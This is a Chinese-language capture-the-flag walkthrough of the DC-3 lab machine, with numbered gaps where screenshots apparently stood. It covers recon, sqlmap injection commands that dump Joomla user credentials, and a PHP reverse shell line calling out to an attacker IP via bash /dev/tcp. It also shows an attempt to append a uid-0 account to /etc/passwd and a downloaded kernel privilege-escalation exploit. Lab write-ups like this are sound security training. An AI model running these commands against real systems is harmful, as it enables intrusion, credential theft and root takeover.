DC-3

先找ip

1

192.168.213.155

下面进行信息收集,收集到东西越多越好

2

是用Joomla建站的,中间件是apache http server的2.4.18

用whatweb

3

4

有一个思路是用msfconsole search joomla/apache

继续信息收集,扫描端口

Nmap -A -p- 192.168.213.155

5

6

Nikto

7

用ARL

8

可以用whois url 查目标域名的关键注册信息,包括注册公司、注册邮箱、管理员联系手机等。

dnsenum 域名,能够返回对应IP地址

fierce –domain baidu.com查子域名

wafw00f 域名 查防火墙

9

7kbstorm

网站页面

10

还是上面的思路,找漏洞

用joomscan扫joomla

11

Msfconsole:

12

看了别人的wp,发现是用searchsploit

13

14

现在用sqlmap

要用root权限执行

暴库:

sqlmap -u “http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list\[fullordering\]=updatexml“ –risk=3 –level=5 –random-agent –dbs -p list[fullordering]

15

爆表:

sqlmap -u “http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list\[fullordering\]=updatexml“ –risk=3 –level=5 –random-agent -D joomladb –tables -p list[fullordering]

16

爆列名:

sqlmap -u “http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list\[fullordering\]=updatexml“ –risk=3 –level=5 –random-agent -D joomladb -T ‘#__users’ –columns -p list[fullordering]

17

爆字段:

sqlmap -u “http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list\[fullordering\]=updatexml“ –risk=3 –level=5 –random-agent -D joomladb -T ‘#__users’ -C ‘username,password’ -p list[fullordering] –dump

18

成功搞到用户名和密码

因为得到的密码是md5加密过后的,所以我们需要使用kali上的一个工具john来爆破一下

19

登录后台,发现上传点

没有测试

发现远程命令执行

20

随便找了个文件改了改

<?php

system(“bash -c ‘bash -i >& /dev/tcp/192.168.213.137/8888 0>&1’”);

21

研究这个url:

http://192.168.213.155/administrator/index.php?option=com_templates&view=template&id=503&file=L2luZGV4LnBocA

后面那个base64是index.php,前面有templates和template,尝试之后发现需要加s

访问url/templates/beez3/index.php

这边我们也连接上shell了,提权

用sudo -l查看哪些命令不需要密码

22

发现find可以用,试一下find提权

Ls -l /usr/bin/find

23

这里没有s,证明不能直接用find提权

find / -name index.php -exec “/bin/sh” \

24我尝试去创建一个root权限账号

  1. 通过直接对etc/passwd文件进行写入

    perl -e ‘print crypt(“123456”, “AA”). “\n”‘

    #首先用perl算一下123456加密后的结果

    # 123456加密后的结果为AASwmzPNx.3sg

    echo “root1:AASwmzPNx.3sg:0:0:me:/root:/bin/bash”>>/etc/passwd #直接写入etc/passwd中

写不进去,find不能提权

尝试一下内核,看看有什么内核漏洞

Uname -a

Cat /ect/*-release

25

继续用我们的searchsploit搜索

26

这个能用来提权

Searchsploit -p 39772.txt

27

28

这个是使用方法

29

Wget 一下,下载到受害主机

然后unzip xxx.zip,接着tar -xvf xxx.tar

进入exp目录

./compile.sh

./doubleput

30

31

测试结束,

apache还没试